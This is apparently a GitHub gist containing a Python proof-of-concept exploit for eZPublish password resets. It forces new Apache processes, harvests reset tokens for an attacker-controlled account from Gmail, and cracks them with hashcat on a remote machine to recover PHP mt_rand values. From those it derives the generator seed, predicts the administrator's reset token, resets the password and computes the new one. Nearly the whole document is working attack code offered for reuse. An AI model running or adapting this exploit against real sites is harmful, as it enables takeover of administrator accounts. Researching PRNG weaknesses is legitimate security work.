-
-
Save dspe/219214d9e904864967bd to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/python | |
""" | |
eZPublish token reset and password prediction PoC. | |
This PoC is a bit dirty, to adapt it to your needs you may have to rewrite the | |
following functions : | |
- getTokenFromMails(): used to retrieve emails and extract the reset token. | |
Is currently using GMail. | |
- crackHashes(): used to crack the retrieved tokens in order to extract | |
mt_rand throws. Is currently using a remote cracking machine | |
and cudaHashcat. | |
@us3r777 | |
""" | |
from socket import * | |
import urllib | |
import re | |
import argparse | |
import threading | |
import time, datetime | |
import subprocess | |
import sys | |
import hashlib | |
import imaplib | |
import getpass | |
import email | |
NB_TOKENS = 5 # The number of token to generate | |
def spawnNewApacheProcesses( conNum, host, port = 80): | |
""" Creates the necessary connections in order for a new process to be spawn in apache. """ | |
request = 'GET / HTTP/1.1\r\nHost: '+ host + '\r\nConnection: Keep-Alive\r\n\r\n' | |
sockList = [] | |
for i in range(conNum): | |
s = socket(AF_INET, SOCK_STREAM) | |
s.connect((host, port)) | |
s.send(request) | |
sockList.append(s) | |
return sockList | |
def closeNewApacheConnections( sockList ): | |
""" Closes the opened connections. """ | |
for s in sockList: | |
s.close() | |
def startHeartbeat(socket, request): | |
""" Makes a request on the socket in order to keep the connection up """ | |
try: | |
# NB_TOKENS requests have already been sent | |
for i in range(0,100 - NB_TOKENS): | |
socket.send(request) | |
time.sleep(4) | |
except: | |
print("Connection has been closed. Stopping heartbeat") | |
print("Heartbeat stopped") | |
def extractTokenFromMail(mail): | |
""" Extracts token from the mail body """ | |
token = re.search("forgotpassword/([a-f0-9]{32})", mail).group(1) | |
return token | |
def getTokensFromMails(email_address, password): | |
""" | |
Fetches mail from email_address. This function currently fetches mail | |
under ezpublish label from a gmail address. | |
Adapt it to your needs. | |
""" | |
tokens = [] | |
M = imaplib.IMAP4_SSL('imap.gmail.com') | |
M.login(email_address, password) | |
rv, data = M.select("ezpublish") | |
if rv == 'OK': | |
rv, data = M.search(None, "ALL") | |
if rv != 'OK': | |
print "No messages found!" | |
return | |
for num in data[0].split(): | |
rv, data = M.fetch(num, '(RFC822)') | |
if rv != 'OK': | |
print "ERROR getting message", num | |
return | |
msg = email.message_from_string(data[0][1]) | |
body = msg.get_payload() | |
token = extractTokenFromMail(body) | |
tokens.append(token) | |
print("Token found : " + token) | |
M.store(num, '+FLAGS', '\\Deleted') # Mark the mail as deleted | |
M.expunge() | |
M.close() | |
M.logout() | |
return tokens | |
def recvTimestamps(socket, nb_timestamp): | |
""" Receives nb_timestamp timestamps from socket """ | |
timestamps = [] | |
timestamp_count = 0 | |
while timestamp_count < nb_timestamp: | |
buf = socket.recv(256) | |
match = re.search("Date:\ ...,\ ([^G]*)G", buf) | |
if match: | |
timestring = match.group(1) | |
timestamp = time.mktime(datetime.datetime.strptime(timestring, "%d %b %Y %H:%M:%S ").timetuple()) | |
timestamp = int(timestamp + (3600 * 2)) # Hardcoded GMT+2 | |
timestamps.append(timestamp) | |
timestamp_count += 1 | |
print("Timestamp found : " + str(timestamp)) | |
return timestamps | |
def timeSince(start): | |
current_time = time.time() - start | |
minutes = "%d" % (current_time / 60) | |
seconds = "%0.2f" % (current_time % 60) | |
return "[ " + minutes + " min " + seconds + " sec ]" | |
def crackHashes(tokens, timestamps, user_id, nb_tokens): | |
""" | |
This function uses user_id and timestamps (salt) to crack the tokens. | |
Currently it uses an external cracking machine to crack the hashes. | |
Adapt it to your needs. | |
""" | |
# Write hashes and salt to a file | |
with open("hash", "w+") as hashfile: | |
for i in range(nb_tokens): | |
salt = (user_id + ":" + str(timestamps[i]) + ":").encode("hex") | |
hashfile.write(tokens[i] + ":" + salt + "\n") | |
# Upload the file on the password cracking machine | |
print('[+] Uploading hashes to the password cracking machine') | |
subprocess.call("scp hash 192.168.1.1:~/ezpublish", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
print('[+] Launching cudahashcat ...') | |
mt_rand_values = [ None ] * nb_tokens | |
command = "ssh 192.168.1.1 /opt/tools/cudaHashcat-1.36/cudaHashcat64.bin -a 3 -m 20 --hex-salt -i ~/ezpublish/hash '?d?d?d?d?d?d?d?d?d?d'" | |
cudahashcat = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
output = cudahashcat.communicate() # Wait for the process to end | |
matches = re.findall("([0-9a-f]{32}):[0-9a-f]{26,30}:([0-9]{1,11})", output[0]) | |
for hash_recovered, mt_rand_value in matches: | |
print("Hash " + hash_recovered + " recovered : " + mt_rand_value) | |
mt_rand_values[tokens.index(hash_recovered)] = mt_rand_value | |
return mt_rand_values | |
def crackSeed(mt_rand_values): | |
""" | |
Uses php_mt_seed to crack the seed using the recovered mt_rand_values. | |
php_mt_seed is available from http://www.openwall.com/php_mt_seed/ | |
the binary must be in the same directory. | |
""" | |
MIN = "0" | |
MAX = "2147483647" | |
PHP_MT_SEED = "exec ./php_mt_seed" | |
SEP = " " | |
SKIP = "0 0 0 0" | |
commands = PHP_MT_SEED + SEP | |
# Sometimes all mt_rand_values are not recovered due to difference in | |
# timestamp between generation of the token and server response. | |
for mt_rand_value in mt_rand_values: | |
if mt_rand_value: | |
commands += SKIP + SEP + mt_rand_value + SEP + mt_rand_value + SEP + MIN + SEP + MAX + SEP | |
# Skip when there is no value | |
else: | |
commands += SKIP + SEP + SKIP + SEP | |
print(commands) | |
php_mt_seed = subprocess.Popen(commands, shell=True, stdout=subprocess.PIPE) | |
seed = None | |
while True: | |
out = php_mt_seed.stdout.readline() | |
if out == '' and php_mt_seed.poll() != None: | |
break | |
if out != '': | |
match = re.search("seed\ =\ ([0-9]{1,11})",out) | |
if match: | |
seed = match.group(1) | |
php_mt_seed.kill() | |
break | |
return seed | |
def recvAll(the_socket,timeout=2): | |
the_socket.setblocking(0) # make socket non blocking | |
total_data=[]; | |
data=''; | |
begin=time.time() | |
while 1: | |
if total_data and time.time()-begin > timeout: | |
break | |
elif time.time()- begin > timeout*2: | |
break | |
# recv something | |
try: | |
data = the_socket.recv(1024) | |
if data: | |
total_data.append(data) | |
begin=time.time() | |
else: | |
time.sleep(0.1) | |
except: | |
pass | |
the_socket.setblocking(1) | |
#join all parts to make final string | |
return ''.join(total_data) | |
def phpPredict(skip, seed): | |
""" | |
Calls a php script to predict the number generated by PHP after SKIP | |
throws using SEED to initialize the Mersene Twister generator | |
""" | |
predict = subprocess.Popen("php predict.php " + str(skip) + " " + seed, | |
shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) | |
output = predict.communicate()[0] | |
return re.match("([0-9]{1,11})", output).group(1) | |
def predictPassword(password_length, time, mt_rand_value): | |
""" | |
python version of the ezPublish createPassword function from | |
kernel/classes/datatypes/ezuser/ezuser.php | |
""" | |
chars = 0; | |
password = '' | |
decimal = 0; | |
seed = str(time) + ":" + mt_rand_value | |
while chars < password_length: | |
text = hashlib.md5(seed).hexdigest() | |
characterTable = "abcdefghijkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ123456789" | |
tableCount = len(characterTable) | |
i = 0 | |
while chars < password_length and i < 32: | |
decimal += int(text[i:i+2], 16) | |
index = decimal % tableCount | |
character = characterTable[index] | |
password += character | |
i += 2 | |
chars += 1 | |
return password | |
def parseArguments(): | |
parser = argparse.ArgumentParser( | |
description='EZPublish reset token and password prediction tool') | |
parser.add_argument('--host', action='store', dest='host', | |
help='target hostname', required=True) | |
parser.add_argument('--proc', action='store', dest='proc', default=15, | |
type=int, help='The number of process to spawn') | |
parser.add_argument('--port', action='store', dest='port', type=int, | |
default=80, help='Port in which Apache is listening') | |
parser.add_argument('--app-base', action='store', dest='app_base', | |
default="/", help='The application base path') | |
parser.add_argument('--user-id', action='store', dest='user_id', | |
help='The id of the ezpublish user you control', | |
required=True) | |
parser.add_argument('--user-email', action='store', dest='user_email', | |
help='The email of the ezpublish user you control', | |
required=True) | |
parser.add_argument('--target-user-email', action='store', dest='target_email', | |
help='The email of the target ezpublish user', | |
required=True) | |
parser.add_argument('--target-user-id', action='store', dest='target_user_id', | |
help='The id of the target ezpublish user', | |
default="14") | |
args = parser.parse_args() | |
return args | |
def sendResetRequest(socket, host, app_base, email): | |
data = 'UserEmail=' + urllib.quote(email) + '&GenerateButton=G%C3%A9n%C3%A9rer+un+nouveau+mot+de+passe' | |
request = 'POST ' + app_base + 'index.php/fre/user/forgotpassword HTTP/1.1\r\n' + \ | |
'Host: ' + host + '\r\n' + \ | |
'User-Agent: Mozilla/5.0\r\n' + \ | |
'Connection: keep-alive\r\n' + \ | |
'Content-Type: application/x-www-form-urlencoded\r\n' + \ | |
'Content-Length: ' + str(len(data)) + '\r\n\r\n' + \ | |
data | |
socket.send(request) | |
def main(): | |
args = parseArguments() | |
heartbeat_request = 'GET / HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\n\r\n' % args.host | |
start_time = time.time() | |
print('[+] Forcing creation of new apache process. ' + timeSince(start_time)) | |
conList = spawnNewApacheProcesses( args.proc, args.host ) | |
print('[+] Requesting ' + str(NB_TOKENS) + ' password reset ... ' + timeSince(start_time)) | |
s = socket(AF_INET, SOCK_STREAM) | |
s.connect((args.host, args.port)) | |
for i in range(NB_TOKENS): | |
time.sleep(2) # Wait to ensure throws have different timestamp | |
sendResetRequest(s, args.host, args.app_base, args.user_email) | |
timestamps = recvTimestamps(s, NB_TOKENS) | |
print('[+] Starting Heartbeat ... ' + timeSince(start_time)) | |
thread = threading.Thread(None, startHeartbeat, None, (s, heartbeat_request), None) | |
thread.start() | |
print('[+] Getting the mails ... ' + timeSince(start_time)) | |
time.sleep(10) # Wait 10 seconds to ensure mails are transmited | |
tokens = getTokensFromMails(args.user_email, getpass.getpass()) | |
print('[+] Cracking hashes') | |
mt_rand_values = crackHashes(tokens, timestamps, args.user_id, NB_TOKENS) | |
print('[+] Cracking the seed ... ' + timeSince(start_time)) | |
seed = crackSeed(mt_rand_values) | |
if seed: | |
print("\n-----------------------------------------") | |
print("Seed found : " + seed + " " + timeSince(start_time)) | |
print("-----------------------------------------") | |
# Flush the content of the pipe before reseting admin password | |
# To get the right timestamp | |
while(len(s.recv(256)) == 256): | |
pass | |
print("[+] Predicting token for user admin : ") | |
mt_rand_value = phpPredict((NB_TOKENS * 2 + 1), seed) | |
print("[+] Reseting admin password ... ") | |
sendResetRequest(s, args.host, args.app_base, args.target_email) | |
timestamp = recvTimestamps(s, 1)[0] | |
token = hashlib.md5(args.target_user_id + ":"+ str(timestamp) + ":" + mt_rand_value).hexdigest() | |
token_reset_url = args.app_base + "index.php/user/forgotpassword/" + token | |
print("[+] Admin token url : http://" + args.host + token_reset_url) | |
print("[+] GET " + token_reset_url + " ...") | |
while(len(s.recv(256)) == 256): | |
pass | |
token_reset_request = 'GET ' + token_reset_url + ' HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\n\r\n' % args.host | |
s.send(token_reset_request) | |
timestamp = recvTimestamps(s, 1)[0] | |
page = recvAll(s) | |
match = re.search("Un nouveau mot de passe", page) | |
if match: | |
print("[+] Password successfully reset !") | |
print("[+] Predicting password for user admin " + timeSince(start_time)) | |
mt_rand_value = phpPredict((NB_TOKENS * 2 + 2), seed) | |
password = predictPassword(6, timestamp, mt_rand_value) | |
print("-----------------------------------------") | |
print("[+] Password of admin reset to : " + password + " " + timeSince(start_time)) | |
print("-----------------------------------------") | |
else: | |
print("[!] Unable to reset password using token " + token + ". Probably due to a timestamp mismatch.") | |
s.close() | |
closeNewApacheConnections( conList ) | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment